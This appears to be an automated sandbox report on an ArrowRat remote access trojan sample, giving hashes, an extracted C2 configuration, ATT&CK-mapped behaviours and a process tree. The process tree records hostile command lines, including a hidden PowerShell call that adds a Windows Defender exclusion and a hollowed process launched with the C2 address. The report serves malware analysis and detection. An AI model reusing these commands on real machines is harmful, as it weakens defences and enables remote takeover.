Overview

overview

10

Static

static

10

Client.exe

windows7-x64

10

Client.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-11-2024 13:31

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General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    16a66efc62e16195848483277f81cb3b

  • SHA1

    5b3b70e9df9b025576386abfa9ed7c342e8d7a46

  • SHA256

    e694001c6e68ee030e201b680d2e1916ee121fe76f050121045a3fa2465e3ed6

  • SHA512

    87d682acb2b44506711e4758762e16c3f29101c5a20c1b144ff2c337c37a82f8bd0bbf13c65bb1e5e2423bcf3f042cd9d114256846aeb5c8e66119b64d6d1393

  • SSDEEP

    3072:gbzxH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPMiO8Y:gbzxe0ODhTEPgnjuIJzo+PPcfPMd8

Score
10/10
arrowratpf030dc1ckld12od3discoveryexecutionpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Pf030dc1ckld12od3

C2

192.168.1.46:1337

Mutex

QplfyCtwT

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Arrowrat family
    arrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4768
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Pf030dc1ckld12od3 192.168.1.46 1337 QplfyCtwT
      2⤵
      • System Location Discovery: System Language Discovery
      PID:428
    • C:\Windows\System32\ComputerDefaults.exe
      "C:\Windows\System32\ComputerDefaults.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4224
      • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
        "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Pan\dora'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4496
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:2688
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4848

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133764102943220439.txt
    Filesize

    76KB

    MD5

    c79f3b656491223bee9acbe8a31130f6

    SHA1

    4c8440dd2832c392ebbd69e0c7ea069b2dd88ed4

    SHA256

    d9d1e24e0aaa7ccdeeace23135d5a6a3ef2b0bd7311114700dd8549e10de1a34

    SHA512

    c105446367dbe693a781f26d56325adae2c4023cfb8e9acae0c5a4102a35868801463b01a6a0b57e3cbd9b3a7173c45728a262363e4d6f0e3dd9b53ef8845731

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zdxf0k3n.adc.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/428-11-0x00000000066E0000-0x0000000006730000-memory.dmp

    Filesize

    320KB

    Download

  • memory/428-5-0x0000000005720000-0x00000000057BC000-memory.dmp

    Filesize

    624KB

    Download

  • memory/428-6-0x0000000005E70000-0x0000000006414000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/428-8-0x0000000006420000-0x0000000006486000-memory.dmp

    Filesize

    408KB

    Download

  • memory/428-2-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

    Download

  • memory/428-4-0x0000000005680000-0x0000000005712000-memory.dmp

    Filesize

    584KB

    Download

  • memory/2240-178-0x00007FFD7FAC3000-0x00007FFD7FAC5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2240-7-0x00007FFD7FAC0000-0x00007FFD80581000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2240-0-0x00007FFD7FAC3000-0x00007FFD7FAC5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2240-194-0x00007FFD7FAC0000-0x00007FFD80581000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2240-1-0x000002038A7A0000-0x000002038A7CE000-memory.dmp

    Filesize

    184KB

    Download

  • memory/4496-21-0x000001AA31820000-0x000001AA31842000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4768-29-0x0000000002810000-0x0000000002811000-memory.dmp

    Filesize

    4KB

    Download

  • memory/4848-57-0x000001AFD5E00000-0x000001AFD5E20000-memory.dmp

    Filesize

    128KB

    Download

  • memory/4848-64-0x000001AFD6210000-0x000001AFD6230000-memory.dmp

    Filesize

    128KB

    Download

  • memory/4848-35-0x000001AFD5E40000-0x000001AFD5E60000-memory.dmp

    Filesize

    128KB

    Download

  • memory/4848-30-0x000001A7D3E20000-0x000001A7D3F20000-memory.dmp

    Filesize

    1024KB

    Download